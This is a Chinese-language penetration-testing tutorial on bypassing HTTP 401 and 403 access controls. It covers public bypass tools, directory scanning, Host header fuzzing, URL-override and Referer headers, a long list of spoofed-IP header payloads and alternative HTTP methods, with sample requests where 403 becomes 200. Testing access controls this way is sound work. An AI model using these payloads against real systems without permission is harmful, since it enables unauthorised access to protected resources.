1.前言
在我们做渗透测试或者攻防演练的时候,绕过HTTP状态码401(未授权)和403(禁止访问)的目的是为了绕过访问控制或权限限制,从而获取本不应有的访问权限,继续深入测试目标系统的其他部分。
1.1. 401未授权(Unauthorized)
- 目的:401状态码意味着用户没有提供正确的认证凭证(如用户名和密码),因此无法访问资源。在渗透测试中,绕过401错误可以帮助渗透测试人员进入被保护的区域,模拟实际攻击者的行为,以验证系统的身份验证机制是否存在漏洞。
- 原因:
-
- 测试认证漏洞:检查系统的认证机制是否存在漏洞,例如是否存在弱认证、默认凭证或漏洞利用的可能性(如暴力破解或会话劫持)。
- 验证认证绕过:通过测试是否能够绕过身份验证机制,尤其是针对某些应用错误配置(如Cookie篡改、JWT漏洞等)或利用凭证重放攻击。
1.2. 403禁止访问(Forbidden)
- 目的:403状态码表明服务器理解请求但拒绝提供资源,通常是因为权限问题。绕过403错误可以帮助渗透测试人员检测访问控制的强度,寻找越权访问漏洞(Privilege Escalation)。
- 原因:
-
- 测试访问控制:验证应用是否正确实施了访问控制机制,检查用户权限划分是否到位。若存在垂直权限提升漏洞(如低权限用户能够访问管理员资源),则可能被恶意利用。
- 验证路径或方法绕过:403错误可能是由于路径或HTTP方法限制(如GET/POST)。测试时可以通过改变路径、编码方式或使用不同HTTP方法来尝试绕过此限制。
为什么需要绕过
- 全面性测试:渗透测试的目标是模拟攻击者的行为,发现系统中的安全漏洞和弱点。绕过这些状态码能够更深入地探测系统的漏洞。
- 暴露潜在风险:通过绕过访问控制机制,测试人员可以暴露出系统的真实安全性,帮助开发人员改进认证和授权机制,从而防止未经授权的访问。
- 验证安全控制的有效性:如果能够成功绕过401或403状态码,说明系统的认证和授权机制可能存在配置问题、逻辑错误或实现漏洞。
2.绕过方法
2.1. 使用工具绕过
https://github.com/iamj0ker/bypass-403
https://github.com/channyein1337/403-bypass/blob/main/403-bypass.py
https://github.com/nico989/B1pass3r
https://github.com/Dheerajmadhukar/4-ZERO-3
https://github.com/carlospolop/fuzzhttpbypass
https://github.com/devploit/dontgo403
2.2. 使用模糊测试或者爆破目录
使用dirsearch,dirb,御剑等工具进行扫目录,扫文件的方式来进行绕过,扫描的时候要打开探测403,因为有些网站的目录没有权限访问会显示403,但是在这个目录下面的文件,我们或许能扫描到并访问。
2.3. waybachurl 绕过
2.4. 修改HOST
Host在请求头中的作用:在一般情况下,几个网站可能会部署在同一个服务器上,或者几个 web 系统共享一个服务器,通过host头来指定应该由哪个网站或者web系统来处理用户的请求。
而很多WEB应用通过获取HTTP HOST头来获得当前请求访问的位置,但是很多开发人员并未意识到HTTP HOST头由用户控制,从安全角度来讲,任何用户输入都是认为不安全的。
修改客户端请求头中的 Host 可以通过修改 Host 值修改为子域名或者ip来绕过来进行绕过二级域名;
首先对该目标域名进行子域名收集,整理好子域名资产(host字段同样支持IP地址)。
先Fuzz测试跑一遍收集到的子域名,这里使用的是Burp的Intruder功能。若看到一个服务端返回200的状态码,即表面成功找到一个在HOST白名单中的子域名。我们利用firefox插件来修改HOST值,成功绕过访问限制。
2.5.覆盖请求 URL
尝试使用 X-Original-URL 和 X-Rewrite-URL 标头绕过 Web 服务器的限制。
通过支持 X-Original-URL 和 X-Rewrite-URL 标头,用户可以使用 X-Original-URL 或 X-Rewrite-URL HTTP 请求标头覆盖请求 URL 中的路径,尝试绕过对更高级别的缓存和 Web 服务器的限制
RequestGET /auth/login HTTP/1.1ResponseHTTP/1.1 403 Forbidden
ReqeustGET / HTTP/1.1X-Original-URL: /auth/loginResponseHTTP/1.1 200 OK
or:
ReqeustGET / HTTP/1.1X-Rewrite-URL: /auth/loginResponseHTTP/1.1 200 OK
2.6.Referer 标头绕过
尝试使用 Referer 标头绕过 Web 服务器的限制。
介绍:Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源。
RequestGET /auth/login HTTP/1.1Host: xxxResponseHTTP/1.1 403 Forbidden
ReqeustGET / HTTP/1.1Host: xxxReFerer:https://xxx/auth/loginResponseHTTP/1.1 200 OK
or
ReqeustGET /auth/login HTTP/1.1Host: xxxReFerer:https://xxx/auth/loginResponseHTTP/1.1 200 OK
2.7.代理 IP
一般开发者会通过 Nginx 代理识别访问端 IP 限制对接口的访问,尝试使用 X-Forwarded-For、X-Forwared-Host 等标头绕过 Web 服务器的限制。
X-Originating-IP: 127.0.0.1X-Remote-IP: 127.0.0.1X-Client-IP: 127.0.0.1X-Forwarded-For: 127.0.0.1X-Forwared-Host: 127.0.0.1X-Host: 127.0.0.1X-Custom-IP-Authorization: 127.0.0.1
如:
RequestGET /auth/login HTTP/1.1ResponseHTTP/1.1 401 Unauthorized
ReqeustGET /auth/login HTTP/1.1X-Custom-IP-Authorization: 127.0.0.1ResponseHTTP/1.1 200 OK
2.8.扫描
遇到 403 了,上目录扫描工具,扫目录,扫文件(记住,扫描的时候要打开探测403,因为有些网站的目录
没有权限访问会显示403,但是在这个目录下面的文件,我们或许能扫描到并访问 )
2.9.通过标头payload绕过
Base-Url: 127.0.0.1
Client-IP: 127.0.0.1
Http-Url: 127.0.0.1
Proxy-Host: 127.0.0.1
Proxy-Url: 127.0.0.1
Real-Ip: 127.0.0.1
Redirect: 127.0.0.1
Referer: 127.0.0.1
Referrer: 127.0.0.1
Refferer: 127.0.0.1
Request-Uri: 127.0.0.1
Uri: 127.0.0.1
Url: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Port: 443
X-Forwarded-Port: 4443
X-Forwarded-Port: 80
X-Forwarded-Port: 8080
X-Forwarded-Port: 8443
X-Forwarded-Scheme: http
X-Forwarded-Scheme: https
X-Forwarded-Server: 127.0.0.1
X-Forwarded: 127.0.0.1
X-Forwarder-For: 127.0.0.1
X-Host: 127.0.0.1
X-Http-Destinationurl: 127.0.0.1
X-Http-Host-Override: 127.0.0.1
X-Original-Remote-Addr: 127.0.0.1
X-Original-Url: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Proxy-Url: 127.0.0.1
X-Real-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Rewrite-Url: 127.0.0.1
X-True-IP: 127.0.0.1
2.10.使用其他请求方法
GET
HEAD
POST
PUT
CONNECT
COPY
DELETE
LABEL
LOCK
MOVE
OPTIONS
PATCH
POUET
TRACE
TRACK
UNCHECKOUT
UPDATE
VERSION-CONTROL
记得点赞+关注,关注微信公众号菜鸟学渗透或者www.cnxst.vip,获取最新文章,有任何问题可以后台私信我
有考取NISP一级/二级/三级、CISP-PTE/PTS等证书的可以加我好友私信我(公众号回复“加好友”)。